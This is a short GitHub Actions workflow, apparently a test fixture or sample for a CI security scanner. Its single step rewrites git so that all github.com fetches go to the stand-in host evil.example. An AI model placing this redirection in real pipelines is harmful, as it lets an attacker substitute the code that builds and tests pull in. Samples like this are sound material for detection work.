on: pull_request: concurrency: policy permissions: contents: read jobs: verify: runs-on: ubuntu-24.04 timeout-minutes: 10 steps: - run: git config --global url.https://evil.example/.insteadOf https://github.com/